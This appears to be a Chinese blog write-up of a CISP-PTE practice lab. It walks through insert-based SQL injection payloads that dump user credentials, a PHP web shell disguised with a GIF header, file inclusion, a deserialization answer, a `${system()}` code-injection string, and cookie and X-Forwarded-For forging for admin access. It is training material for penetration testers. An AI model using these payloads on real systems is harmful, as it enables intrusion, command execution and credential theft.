CISP-PTE综合实验靶场

CISP-PTE综合实验靶场

SQL注入

这道题是insert注入,在文章发布功能中插入paylaod,然后在文章查看中观察插入的文章payload是否执行。

在标题和内容中输入任意字符

执行的SQL语句如下:

查看发表的文章结果如下

由于在SQL语句中insert操作语法为:

1
2
insert into xxxx values('x','x','x','x')
注:values()可以有多个值

题目将标题和内容都拼接进SQL语句进行插入,我们先测试标题和内容是否为注入点,在标题中输入paylaod。由于插入语句中有’’单引号使得payload变成了字符串,无法进行查询。如下:

所以我们需要构造一个payload逃脱单引号的引用,这里通过使用两个values(),在values()中输入无需引用的payload即可。

插入语句如下:

可以看到回显的是在内容payload的5和6a这两个字符串

将这两个字符串位置修改为SQL查询语句,构造payload

1
2
3
4
5
标题:
1','2

内容:
3'),('4',(select/**/database()),'6

插入的SQL语句如下所示。

可以查询到数据库名称为2Web

构造payload,查询数据表

1
2
3
4
5
标题:
1','2

内容:
3'),('4',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='2web'),'6

查询获取到2web数据库下的数据表

要想获取到KEY值需要查询user1数据表的数据,构造paylaod

1
2
3
4
5
标题:
1','2

内容:
3'),('4',(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users1'),'6

插入语句如下

获取到users1数据表下username、password列

接下来就是查询这两个字段的值来获取

1
2
3
4
5
标题:
1','2

内容:
3'),('4',(select/**/group_concat(username,password)/**/from/**/users1),'6

获取到所有的用户以及其密码,可以看到key值{u9y8tr4n}

文件上传

这道题只需绕过前端的后缀检验和头文件检验即可。

构造php文件,先将后缀修改为jpg绕过前端检验后使用Burp拦截修改后缀名称上传成功。

1
2
GIF89a
<?php system($_POST['cmd']);?>

访问上传文件验证命令执行,如下

获取其key值为{a1b2c3d4}

文件包含

可以观察到题目自动添加后缀txt获取文件,只能通过加载已有的txt文本文件才能读取成功

使用文件上传漏洞上传个php执行代码的txt文件,获取key.php路径

读取key.php文件,key值为{abcdefgh}

反序列化

源代码意思是将HTTP请求中的str参数进行反序列化,若与TEMP变量相等则输出key值,所以需要构造str参数为序列化

TEMP变量值为”Whatever is worth doing is worth doing well.”

1
s:44:"Whatever is worth doing is worth doing well.";

获取key值为{12345678}

代码审计

这道题从strtolower()函数中”$a”下手,由于双引号内都为字符串,所以要要获取命令执行结果,必要在双引号转换之间就获取命令执行结果。

1
?a=${system($_POST['cmd'])}

返回当前目录文件,存在key4.php

读取key4.php

获取key值为{12345678}

访问控制

题目提示使用admin用户权限获取key值

点击开始答题后,显示NO

我们使用Burp抓包拦截请求,Cookie字段中isAdmin属性为false,Username属性为Guest的BASE64编码

修改Cookie字段中的isAdmin属性为true,Username属性为admin,转换为base64编码

1
Cookie: PHPSESSID=ap1785nughn7vq798827m3n5ic; IsAdmin=true; Username=YWRtaW4%3D

此时还是显示只允许本地访问,这里我们还得修改HTTP请求中的请求IP,由x-forwarded-for决定。

1
x-forwarded-for: 127.0.0.1

获取到key值,{12345678}

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信